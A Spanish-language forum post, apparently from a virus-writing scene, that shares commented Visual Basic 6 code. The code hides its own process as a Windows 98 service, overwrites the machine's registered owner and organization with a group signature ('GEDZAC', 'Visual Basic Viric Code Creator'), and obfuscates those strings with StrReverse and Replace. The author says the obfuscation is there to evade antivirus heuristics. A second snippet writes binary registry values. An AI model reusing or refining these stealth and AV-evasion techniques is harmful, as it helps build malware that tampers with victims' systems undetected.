Eeste codigo registra servicios en win 98 en xp eso ya no funciona.
Comento el codigo linea por linea.
Option Explicit
Private Const RSP_SIMPLE_SERVICE = 1 'constante para registrar un servicio
Private Const RSP_UNREGISTER_SERVICE = 0 'constante para quitar un servicio
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long 'Api Coge el id de nuestro programa
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long 'Api que registra el servicio
'****** Variables
Private MiNombre As String
Private Fso As Object
Private Ws As Object
Private WsNet As Object
Private DirSystem As Object
Private DirWindows As Object
Private DirTemporal As Object
Private Sub Form_Load() ' Al cargar el programa....
On Error Resume Next
Dim ProcessID As Long
Set Fso = CreateObject("Scripting.FileSystemObject")
Set Ws = CreateObject("Wscript.Shell")
Set DirWindows = Fso.GetSpecialFolder(0) 'cogemos el directorio de windows
Set DirSystem = Fso.GetSpecialFolder(1) 'cogemos el directorio de system32
Set DirTemporal = Fso.GetSpecialFolder(2) 'cogemos el directorio temporal
Set WsNet = CreateObject("WScript.Network") 'creamos un socket
MiNombre = App.Path & "\" & App.EXEName & ".exe" 'La ruta completa de este programa
Ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", StrReverse(Replace(Replace(Replace(Replace(Replace("CVZDFGam1lmeX", "V", "A"), "F", "E"), "a", "/"), "1", "i"), "X", "N")) '"Nemlim/GEDZAC"
Ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RegisteredOrganization", StrReverse(Replace(Replace(Replace(Replace(Replace(Replace("rLtqer4 edL4 3frfX 3fsqB lqusfX", "X", "V"), "f", "i"), "q", "a"), "3", "c"), "4", "C"), "L", "o")) ' "Visual Basic Viric Code Creator"
ProcessID = GetCurrentProcessId() 'LLamamos a la api para coger el id de nuestro proceso
retval = RegisterServiceProcess(ProcessID, RSP_SIMPLE_SERVICE) 'llamamos a la api para registrar el servicio
End Sub
Lo de usar las funciones
StrReverse y
Replace es para que los antivirus con la heuristica no detecten el texto que se ha querido poner.
Sigo queriendo investigar lo de guardar mediante las apis un valor binario en el registro. El codigo que uso es este, pero no guarda los valores como yo quiero.
Const REG_SZ = 1
Const REG_BINARY = 3
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Sub SaveStringLong(hKey As Long, strPath As String, strValue As String, strData As String)
Dim Ret
'Create a new key
RegCreateKey hKey, strPath, Ret
'Set the key's value
RegSetValueEx Ret, strValue, 0, REG_BINARY, strData, Len(strData)
'close the key
RegCloseKey Ret
End Sub
'SaveStringLong HKEY_CURRENT_USER, "S", "BinaryValue", "00 01 02 3D 05"
Salu2